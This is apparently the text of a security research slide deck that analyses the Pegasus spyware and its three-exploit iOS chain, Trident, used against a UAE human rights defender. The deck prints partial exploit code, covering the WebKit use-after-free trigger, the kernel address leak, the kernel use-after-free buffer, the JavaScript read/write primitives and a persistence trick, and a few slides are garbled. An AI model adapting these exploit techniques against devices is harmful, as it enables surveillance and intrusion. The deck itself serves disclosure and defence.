Mobile Espionage in the Wild

Pegasus and Nation-State Level Attacks
Who are we?

- Security Researchers at Lookout
  - Seth - Threat analysis
  - Max - Exploit analysis
  - Andrew - Malware analysis
What just happened?
What just happened?

“Lawful Intercept”
The Target: Ahmed Mansoor

Ahmed Mansoor Selected as the 2015 Laureate Martin Ennals Award for Human Rights Defenders

6 October 2015, 17:30 UTC

The Martin Ennals Foundation has today announced Ahmed Mansoor as the 2015 Laureate Martin Ennals Award for Human Rights Defenders.

Ahmed Mansoor was selected by a jury of ten global human rights organizations (see list below). The award is given to Human Rights Defenders who have shown deep commitment and face great personal risk. The aim of the award is to provide protection through international recognition. Strongly supported by the City of Geneva, the Award will be presented on Tuesday 6 October.

Ahmed Mansoor (United Arab Emirates)

Since 2006, Ahmed Mansoor has focused on initiatives concerning freedom of expression, civil and political rights. He successfully campaigned in 2006-2007 to support two people jailed for critical social comments, who were released and the charges dropped. Shortly after, the Prime Minister of UAE issued an order not to jail journalists in relation to their work. Mr Mansoor is one of the few voices within the United Arab Emirates who provides a credible independent assessment of human rights developments. He regularly raises concerns on arbitrary detention, torture, international standards for fair trials, non-independence of the judiciary and domestic laws that violate international law.
Collaboration

Ahmed Mansoor
@Ahmed_Mansoor
Laureate of Martin Ennals Award for Human Rights Defenders - 2015
martinennalsaward.org
emarati.katlib.org
Joined December 2010

THE CITIZEN LAB

Lookout
Citizen Lab: Pegasus Attribution

- **C2 Infrastructure**
  - sms.webadv.co <-> mail1.nsogroup.com, nsoqa.com
  - Linked to other targeted attacks in Mexico, Kenya

- **Code identifiers**
  - Internal variables and function names

- **Sophistication of software**
  - HackingTeam leak: marketing literature
Citizen Lab: Actor Attribution

- Stealth Falcon
  - Previously targeted other UAE critics
  - 27 targets via Twitter; 24 directly related to UAE
  - 6 who were arrested, targeted, or convicted in absentia

Full report: https://citizenlab.org/2016/05/stealth-falcon/
Image credit: https://citizenlab.org/wp-content/uploads/2016/05/image10-1.png
Pegasus Overview
What is Pegasus?

- Pegasus is espionage software
- iOS sandbox prevents app from spying on other apps
  - Rely on jailbreak to install and persist spying on a user
  - The jailbreak is achieved via an exploit chain (Trident)
How does Pegasus operate on iOS?

- **Stage 1**: Spear-phish
  - WebKit RCE
  - Safari UAF
  - CVE-2016-4657

- **Stage 2**: XNU exploitation
  - Kernel info leak
  - CVE-2016-4655
  - Kernel UAF
  - CVE-2016-4656
  - Jailbreak

- **Stage 3**: Surveillance + persistence
  - Re-jailbreak on reboot
  - + Init. app hooks
  - + Sync with C&C server
Exploit Chain - Trident

- **CVE-2016-4657** - Visiting a maliciously crafted website may lead to arbitrary code execution
- **CVE-2016-4655** - An application may be able to disclose kernel memory
- **CVE-2016-4656** - An application may be able to execute arbitrary code with kernel privileges
Targeted apps
Technical Analysis
Stages & Trident Vulnerabilities

● **Stage 1**
  ○ **CVE-2016-4657** – Visiting a maliciously crafted website may lead to arbitrary code execution (Safari WebKit RCE)

● **Stage 2**
  ○ **CVE-2016-4655** – An app may be able to disclose kernel memory (KASLR)
  ○ **CVE-2016-4656** – An app may be able to execute arbitrary code in kernel

● **Stage 3**
  ○ Espionage software payload
  ○ Unsigned code execution and jailbreak persistence
Stage 1 - Payload

- Spear-phish URL – Single use
  - Contains obfuscated JavaScript
  - Checks for device compatibility (iPhone, 32/64-bit)
  - Contains URLs for Stage 2
  - Contains an RCE in WebKit
Vulnerability: CVE-2016-4657

- Visiting a maliciously crafted website may lead to arbitrary code execution
  - Remote code execution in Webkit
  - Vulnerability is use after free
  - Accomplished by two bugs
  - Not stable as it relies on WebKit garbage collector
```cpp
static JSValue defineProperties(ExecState* exec, JSObject* object, JSObject* properties) {
    ...
    size_t numProperties = propertyNames.size();
    Vector<PropertyDescriptor> descriptors; // vector that will hold
    MarkedArgumentBuffer markBuffer; // the stale pointer
    for (size_t i = 0; i < numProperties; i++) { // 1-st loop
        JSValue prop = properties->get(exec, propertyNames[i]);
        ...
        PropertyDescriptor descriptor;
        if (!toPropertyDescriptor(exec, prop, descriptor))
            return jsNull();
        descriptors.append(descriptor);
        if (descriptor.isDataDescriptor() && descriptor.value())
            markBuffer.append(descriptor.value());
    }
    ...
```

**defineProperties internals**

*Save property descriptor to descriptors vector*

*Property descriptor marked using append() and MarkedArgumentBuffer*

```cpp
for (size_t i = 0; i < numProperties; i++) {
    Identifier propertyName = propertyNames[i];
    if (exec->propertyNames().isPrivateName(propertyName))
        continue;

    /* may trigger user defined methods */
    object->methodTable(exec->vm())->defineOwnProperty(object, exec, propertyName, descriptors[i], true);
    if (exec->hadException())
        return jsNull();
}
return object;
```
MarkedArgumentBuffer internals

class MarkedArgumentBuffer {
    static const size_t inlineCapacity = 8;
public:
    MarkedArgumentBuffer()
        : m_size(0)
        , m_capacity(inlineCapacity)
        ...
    int m_size;
    int m_capacity;
    ...

    void append(JSValue v) {
        if (m_size >= m_capacity)
            return slowAppend(v);
        slotFor(m_size) = JSValue::encode(v);
        ++m_size;
    }
}

Size of inline stack buffer is 8

Move buffer to the heap on 9-th iteration

void MarkedArgumentBuffer::slowAppend(JSValue v) {
    int newCapacity = m_capacity * 4;
    EncodedJSValue* newBuffer = new EncodedJSValue[newCapacity];
    for (int i = 0; i < m_capacity; ++i)
        newBuffer[i] = m_buffer[i]; // copy from stack to heap

    m_buffer = newBuffer; // move the actual buffer pointer to
    m_capacity = newCapacity; // the new heap backing

    slotFor(m_size) = JSValue::encode(v);
    ++m_size;

    for (int i = 0; i < m_size; ++i) {
        Heap* heap = Heap::heap(JSValue::decode(slotFor(i)));
        if (!heap)
            continue;

        m_markSet = &heap->markListSet(); // add the MarkedArgumentBuffer
        m_markSet->add(this); // to the heap markset
        break;
    }
}

Heap internals

inline Heap* Heap::heap(const JSValue v)
{
    if (!v.isCell())
        return 0;
    return heap(v.asCell());
}

inline bool JSValue::isCell() const
{
    return !(u.asInt64 & TagMask);
}

Will return NULL for primitive types as Integers, Booleans, etc

Any reference to a heap property (after the 9th) may be not protected.

User defined method call may release reference to an object.

Move objects from stack to heap.
Pegasus UAF exploitation for RCE

```javascript
var arr = new Array(2047);

var props = {
    p0 : { value : 0 },
    ...,
    p8 : { value : 8 },
    length : { value : not_number },
    stale : { value : arr },
    after : { value : 666 }
};

length of not_number will trigger toString method

var target = [];
Object.defineProperties(target, props);

var not_number = {};
not_number.toString = function() {
    arr = null;
    props["stale"]["value"] = null;
    ...
    //Trigger garbage collection and reallocate
    //over stale object
    return 10;
};

Remove references to arr object, trigger garbage collection and reallocate object
```
Stage 2 - Payload

- Contains shellcode and compressed data
- **Shellcode** used for kernel exploitation in Safari
- **Compressed data:**
  - Stage 3 loader
    - Downloads and decrypts Stage 3
  - Configuration file
Vulnerability: CVE-2016-4655

- An application may be able to disclose kernel memory
  - Infoleak used to get the kernel’s base address to bypass KASLR
  - Constructor and OSUnserializeBinary methods were missing bounds checking
  - Uses the OSNumber object with a high number of bits
  - Trigger happens in is_io_registry_entry_get_property_bytes
  - Can be triggered from an app’s sandbox
OSUnserializeBinary - OSNumber problem

```c
OSObject * OSUnserializeBinary(const char *buffer, size_t bufferSize, OSString **errorString) {
...
uint32_t key, len, wordLen;
len = (key & kOSSerializeDataMask);
...
case kOSSerializeNumber:
    bufferPos += sizeof(long long);
    if (bufferPos > bufferSize) break;
    value = next[1];
    value <<= 32;
    value |= next[0];
    o = OSNumber::withNumber(value, len);
    next += 2;
    break;
```

Source: https://opensource.apple.com/source/xnu/xnu-3248.60.10/libkern/c+/OSSerializeBinary.cpp

No number length check
OSNumber::withNumber constructor

OSNumber *OSNumber::withNumber(const char *value, unsigned int newNumberOfBits) {
    OSNumber *me = new OSNumber;

    if (me && !me->init(value, newNumberOfBits)) {
        me->release();
        return 0;
    }

    return me;
}

Source: https://opensource.apple.com/source/xnu/xnu-3248.60.10/libkern/c+/OSNumber.cpp

No number length check in constructor
OSNumber missing check

```cpp
bool OSNumber::init(unsigned long long inValue, unsigned int newNumberOfBits) {
    if (!super::init())
        return false;

    size = newNumberOfBits;
    value = (inValue & sizeMask);

    return true;
}

unsigned int OSNumber::numberOfBytes() const {
    return (size + 7) / 8;
}
```

No number length check

numberOfBytes return value is under attacker’s control

Source: https://opensource.apple.com/source/xnu/xnu-3248.60.10/libkern/c++/OSNumber.cpp
kern_return_t is_io_registry_entry_get_property_bytes( io_object_t registry_entry, io_name_t property_name, io_struct_inband_t buf, mach_msg_type_number_t *dataCnt ) {

...  

UInt64 offsetBytes;       // stack based buffer
...
} else if( (off = OSDynamicCast( OSNumber, obj ))) {

  offsetBytes = off->unsigned64BitValue();

  len = off->numberOfBytes();
  bytes = &offsetBytes;

...  

  if (bytes) {

    if( *dataCnt < len)
      ret = kIOReturnIPCError;
    else {
      *dataCnt = len;
      bcopy( bytes, buf, len ); // copy from stack based buffer
    }
  }

Source: http://opensource.apple.com/source/xnu/xnu-3248.60.10/iokit/Kernel/IOUserClient.cpp
kern_return_t
IORegistryEntryGetProperty(
    io_registry_entry_t entry,
    const io_name_t name,
    io_struct_inband_t buffer,
    uint32_t * size )
{
    return( io_registry_entry_get_property_bytes( entry,
        (char *) name, 
        buffer,
        size 
    ));
}

Source: https://opensource.apple.com/source/IOKitUser/IOKitUser-1179.50.2/IOKitLib.c
io_service_open_extended(service, mach_task_self(), 0, record, properties, 104, &result, &connection);

IORegistryEntryGetChildIterator(service, "IOService", &io_iterator);

io_object_t lol;

do { lol = IOIteratorNext(io_iterator);
   if (!lol) return
   size = 4096;
   bzero(dataBuffer, 4096); }
while ( IORegistryEntryGetProperty(lol, "HIDKeyboardModifierMappingSrc", dataBuffer, &size) );

if ( size > 8 ) {
   uint64_t *data_ptr64 = (uint64_t*)dataBuffer;
   uint64_t kernel_base = data_ptr64[8] & 0xFFFFFFFFFFFFFF00000LL; // read 8-th index of kernel stack
   NSLog(@"kernel_base %llx", kernel_base );
}
Vulnerability: CVE-2016-4656

- An application may be able to execute arbitrary code with kernel privileges
  - Use after free to gain kernel level code execution
  - The setAtIndex macro does not retain an object
  - Trigger happens in OSUnserializeBinary
  - Can be triggered from an app’s sandbox
OSObject * OSUnserializeBinary(const char *buffer, size_t bufferSize, OSString **errorString) { 

... 

while (ok) { 

... 

newCollect = isRef = false; 

o = 0; newDict = 0; newArray = 0; newSet = 0; 

switch (kOSSerializeTypeMask & key) { 

  case kOSSerializeDictionary: 
  case kOSSerializeArray: 
  case kOSSerializeSet: 
  case kOSSerializeObject: 
  case kOSSerializeNumber: 
  case kOSSerializeSymbol: 
  case kOSSerializeString: 
  case kOSSerializeData: 
  case kOSSerializeBoolean: 

enum { 
  kOSSerializeDictionary = 0x01000000U, 
  kOSSerializeArray = 0x02000000U, 
  kOSSerializeSet = 0x03000000U, 
  kOSSerializeNumber = 0x04000000U, 
  kOSSerializeSymbol = 0x08000000U, 
  kOSSerializeString = 0x09000000U, 
  kOSSerializeData = 0x0a000000U, 
  kOSSerializeBoolean = 0x0b000000U, 
  kOSSerializeObject = 0x0c000000U, 
  kOSSerializeTypeMask = 0x7F000000U, 
  kOSSerializeDataMask = 0x00FFFFFFU, 
  kOSSerializeEndCollecton = 0x80000000U, 
}; 

#define kOSSerializeBinarySignature "\323\0\0"

Source: https://opensource.apple.com/source/xnu/xnu-3248.60.10/libkern/c++/OSSerializeBinary.cpp
Keep track of deserialized objects

```c
newCollect = isRef = false;
...
case kOSSerializeDictionary:
o = newDict = OSDictionary::withCapacity(len);
newCollect = (len != 0);
break;
...
if (!isRef)
{
    setAtIndex(objs, objsIdx, o);
    if (!ok) break;
    objsIdx++;
}
```

Source: https://opensource.apple.com/source/xnu/xnu-3248.60.10/libkern/c++/OSSerializeBinary.cpp
#define setAtIndex(v, idx, o)  
if (idx >= v##Capacity) {  
   uint32_t ncap = v##Capacity + 64;  
   typeof(v##Array) nbuf =  
      (typeof(v##Array)) kalloc_container(ncap * sizeof(o));  
   if (!nbuf) ok = false;  
   if (v##Array)  
   {  
      bcopy(v##Array, nbuf, v##Capacity * sizeof(o));  
      kfree(v##Array, v##Capacity * sizeof(o));  
   }  
   v##Array    = nbuf;  
   v##Capacity = ncap;  
}  
if (ok) v##Array[idx] = o;

Object saved, but not retained

Source: https://opensource.apple.com/source/xnu/xnu-3248.60.10/libkern/c++/OSSerializeBinary.cpp
UAF trigger

```cpp
if (dict) {
    if (sym) {
        ...
    }
    else {
        sym = OSDynamicCast(OSSymbol, o);
        if (!sym && (str = OSDynamicCast(OSString, o)))
        {
            sym = (OSSymbol *) OSSymbol::withString(str);
            o->retain();
            o = 0;
        }
        ok = (sym != 0);
    }
}
```

```cpp
case kOSSerializeObject:
    if (len >= objsIdx) break;
    o = objsArray[len];
    o->retain();
    isRef = true;
    break;
```

Deallocated object retained

Object saved to objs array destroyed

Source: https://opensource.apple.com/source/xnu/xnu-3248.60.10/libkern/c++/OSSerializeBinary.cpp
Pegasus exploitation of UAF

encoding = kOSSerializeEndCollecton | kOSSerializeDictionary | 16;
memcpy(ptr++, &encoding, 4);
encoding = kOSSerializeString | 4; // length 4
memcpy(ptr++, &encoding, 4);
memcpy(ptr++, "sy2", 4);
encoding = kOSSerializeData | 32; // length 32
memcpy(ptr++, &encoding, 4);

// OSData data is new object with vtable for deallocated OSString object
memcpy(ptr, OSData_data, OSStringSize);
ptr = ptr + OSStringSize / 4;

// Trigger UAF with kOSSerializeObject, index 1 of objsArray
encoding = kOSSerializeEndCollecton | kOSSerializeObject | 1
memcpy(ptr, &encoding, 4);

uint64_t result = io_service_open_extended(service, mach_task_self(), 0, record, dataBuffer, 56, &result, &connection);
Post exploitation - Kernel patches

- `setruid` to escalate privileges
- `amfi_get_out_of_my_way` to disable AMFI
- `cs_enforcement_disable` to disable CS
- `mac_mount` and `LwVM` to remount sys partition
Stage 3 - Payload - espionage software

- **Processes:**
  - lw-install - spawns all sniffing services
  - watchdog - process manager
  - systemd - reporting module
  - workerd - SIP module
  - converter - Cynject from Cydia

- **Dylibs:**
  - libdata.dylib - Cydia substrate
  - libaudio.dylib - calls sniffer
  - libimo.dylib - imo.im sniffer
  - libvbcalls.dylib - Viber sniffer
  - libwacalls.dylib - Whatsapp sniffer

- **Other:**
  - com.apple.itunesstored.2.csstore - JS used for unsigned code execution
  - ca.crt - root cert used w/ SIP module
com.apple.itunesstored.2.csstore

● JSC bug that led to unsigned code execution
● Used with rtbuddyd trick to gain persistence
● Bad cast in setEarlyValue
● Triggerable only from an jsc process context
EncodedJSValue JSC_HOST_CALL functionSetImpureGetterDelegate(ExecState* exec)
{
    JSLockHolder lock(exec);
    JSValue base = exec->argument(0);
    if (!base.isObject())
        return JSValue::encode(jsUndefined());
    JSValue delegate = exec->argument(1);
    if (!delegate.isObject())
        return JSValue::encode(jsUndefined());
    ImpureGetter* impureGetter = jsCast<ImpureGetter*>(asObject(base.asCell()));
    impureGetter->setDelegate(exec->vm(), asObject(delegate.asCell()));
    return JSValue::encode(jsUndefined());
}

setDelegate internals

```cpp
ALWAYS_INLINE JSCell* JSValue::asCell() const {
    ASSERT(isCell());
    return u.ptr;
}

void setDelegate(VM& vm, JSObject* delegate) {
    m_delegate.set(vm, this, delegate);
}
inline void WriteBarrierBase<T>::set(VM& vm, const JSCell* owner, T* value) {
    ASSERT(value);
    ASSERT(!Options::useConcurrentJIT() || !isCompilationThread());
    validateCell(value);
    setEarlyValue(vm, owner, value);
}
```

Source: http://opensource.apple.com/source/JavaScriptCore/JavaScriptCore-7601.6.13/runtime/WriteBarrierInlines.h
Bad cast problem

template<typename T>
inline void WriteBarrierBase<T>::setEarlyValue(VM& vm, const JSCell* owner, T* value)
{
    // no value type check before cast
    this->m_cell = reinterpret_cast<JSCell*>(value);
    vm.heap.writeBarrier(owner, this->m_cell);
}

Source: http://opensource.apple.com/source/JavaScriptCore/JavaScriptCore-7601.6.13/runtime/WriteBarrierInlines.h
Bad cast problem detailed

```c
int64 functionSetImpureGetterDelegate(__int64 exec) {
...
lock = JSC::JSLockHolder::JSLockHolder(&v11, exec);
v3 = *(signed int *)(v1 + 32);
if ( (_DWORD)v3 == 1 )
goto LABEL_14;
base = *(_QWORD *)(v1 + 0x30); // argument(0) call
if ( base & 0xFFFF000000000002LL ) // isObject() call inlined
    goto LABEL_14;
...
delegate = *(_QWORD *)(v1 + 0x38); // argument(1) call
if ( delegate & 0xFFFF000000000002LL ) // isObject() inlined
    goto LABEL_14;
if ( *(unsigned __int8 *)(delegate + 5) < 0x12u )
goto LABEL_14;
v6 = *(_QWORD *)(*(_QWORD *)(v1 + 24) & 0xFFFFFFFFFFFFFC000LL) + 0xE8);
*(_QWORD *)(base + 0x10) = delegate;
```

class JSArrayBufferView : public JSNonFinalObject {
    CopyBarrier<
class JSArrayBufferView : public JSNonFinalObject {
    CopyBarrier<char> m_vector;
    uint32_t m_length;
    TypedArrayMode m_mode;
};
```
Exploitation - bad cast - RW primitives

```javascript
var DATAVIEW_ARRAYBUFFER_OFFSET = 0x10;
var __dummy_ab = new ArrayBuffer(0x20);
var __dataview_init_rw = new DataView(__dummy_ab);
var __dataview_rw = new DataView(__dummy_ab);

// change __dataview_init_rw.m_vector to the address of __dataview_rw
setImpureGetterDelegate(__dataview_init_rw, __dataview_rw);

// Modify the m_vector of the __dataview_rw JSArrayBufferView to 0
__dataview_init_rw.setUint32(DATAVIEW_ARRAYBUFFER_OFFSET, 0, true);

// Modify the m_length of the __dataview_rw JSArrayBufferView to MAX_INT (4gb).
// The dataview now effectively maps all of the memory of a 32bit process.
__dataview_init_rw.setUint32(DATAVIEW_BYTELENGTH_OFFSET, 0xFFFFFFFF, true);

// change the underlying type of the __dataview_rw JSArrayBufferView to FastTypedArray.
__dataview_init_rw.setUint8(DATAVIEW_MODE_OFFSET, FAST_TYPED_ARRAY_MODE, true);
```

- Trigger bad cast and overwrite m_vector
- Now we can modify object fields

Exploitation - bad cast - exec primitive

var dummy_ab = new ArrayBuffer(0x20);
var dataview_leak_addr = new DataView(dummy_ab);
var dataview_dv_leak = new DataView(dummy_ab);
setImpureGetterDelegate(dataview_dv_leak, dataview_leak_addr);
setImpureGetterDelegate(dataview_leak_addr, object_to_leak);
leaked_addr = dataview_dv_leak.getUint32(DATAVIEW.ARRAYBUFFER_OFFSET, true);

var body = ''
for (var k = 0; k < 0x600; k++) {
    body += 'try {} catch(e) {}';;
}
var to_overwrite = new Function('a', body);
for (var i = 0; i < 0x10000; i++) {
    to_overwrite();
}
Persistence mechanism

- System will launch "rtbuddyd --early-boot"
- rtbuddyd does not exist, but launch record does
- Copy jsc as /usr/libexec/rtbuddyd
- Copy js exploit as symlink named "--early-boot"
- Result will be the same as launch "jsc js_exploit"
Espionage Techniques
Techniques to prevent detection and analysis

- One time use links (redirects to Google or other sites)
- Obfuscated JavaScript and Objective-C code
- Payloads are encrypted with a different key on each download
- Spyware components are hidden as system services
Techniques to stay undetectable

- Blocks iOS system updates
- Clears Mobile Safari history and caches
- Uses SIP for communication
- Removes itself via self destruct mechanisms
Techniques to gather data

- Records any microphone usage
- Records video from camera
- Gathers sim card and cell network information
- Gathers GPS location
- Gathers keychain passwords (including WiFi and router)
Application Hooking

- iOS sandbox prevent apps from spying on each other
- On a jailbroken iOS device spying “hooks” can be installed
- Pegasus uses Cydia Substrate to install app “hooks”
  - Dynamic libraries are injected into the application processes on spawn
  - Cynject to inject into running processes
Pegasus infected device

Apps → Frameworks → Pegasus → Darwin

App level hooks → Framework level hooks
Targeted apps
### Application Hooking Functions

<table>
<thead>
<tr>
<th>Function Name</th>
<th>Hex Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>kLineEngineCheck10Query_key</td>
<td>00000000000E348</td>
</tr>
<tr>
<td>kLineEngineCheck10Query_ciphertext</td>
<td>00000000000E368</td>
</tr>
<tr>
<td>kLineEngineCheck12Query_key</td>
<td>00000000000E398</td>
</tr>
<tr>
<td>kLineEngineCheck12Query_key</td>
<td>00000000000E3A8</td>
</tr>
<tr>
<td>kLineEngineCheck12Query_ciphertext</td>
<td>00000000000E3C8</td>
</tr>
<tr>
<td>kLineEngineDirectParticipantQuery_iv</td>
<td>00000000000E3F8</td>
</tr>
<tr>
<td>kChatEngineFilesToMonitorKey</td>
<td>000000000014288</td>
</tr>
<tr>
<td>kChatEngineFilesToMonitorKey</td>
<td>000000000014290</td>
</tr>
<tr>
<td>kChatEngineFilesToMonitorKey</td>
<td>000000000014288</td>
</tr>
<tr>
<td>kChatEngineFilesToMonitorKey</td>
<td>0000000000142A0</td>
</tr>
<tr>
<td>kChatEngineFilesToMonitorKey</td>
<td>0000000000142A8</td>
</tr>
<tr>
<td>kChatEngineFilesToMonitorKey</td>
<td>0000000000142B0</td>
</tr>
<tr>
<td>kChatEngineFilesToMonitorKey</td>
<td>0000000000142RA</td>
</tr>
<tr>
<td>_kFacebookMessagesEngineFBClassKey_iv</td>
<td>00000000000CF38</td>
</tr>
<tr>
<td>_kFacebookMessagesEngineFBClassKey_key</td>
<td>00000000000CF48</td>
</tr>
<tr>
<td>_kFacebookMessagesEngineFBClassKey_ciphertext</td>
<td>00000000000CF68</td>
</tr>
<tr>
<td>_kFacebookMessagesEngineFBMMessageKey_iv</td>
<td>00000000000CF78</td>
</tr>
<tr>
<td>_kFacebookMessagesEngineFBMMessageKey_key</td>
<td>00000000000CF88</td>
</tr>
<tr>
<td>_kFacebookMessagesEngineFBMMessageKey_ciphertext</td>
<td>00000000000CFA8</td>
</tr>
</tbody>
</table>

*Note: The above values are examples and may not reflect the actual values used in an application.*
Historical analysis

- Non-public remote jailbreak
- No user interaction required
- 2011 public jailbreak “jailbreakme 3” is most similar
- Exploit chain can be triggered from within the application sandbox
Observations and Continuing Work

- Remote jailbreaks in the public are rare (~5 years ago)
- Rarer to find a sample of such a highly engineered piece of spyware
- Commercial surveillanceware is different from “home grown” attacks
- Continuing to hunt other “lawful intercept” surveillanceware
Special thanks

- **Citizen Lab**: Bill Marczak, John Scott-Railton, and Ron Deibert
- **Lookout**: John Roark, Robert Nickle, Michael Flossman, Christina Olson, Christoph Hebeisen, Pat Ford, Colin Streicher, Kristy Edwards and Mike Murray
- **Divergent Security**: Cris Neckar, Greg Sinclair
- **Individual researchers**: in7egral
Useful links

- https://citizenlab.org/2016/05/stealth-falcon/
- https://targetedthreats.net/
- https://citizenlab.org/
Thank You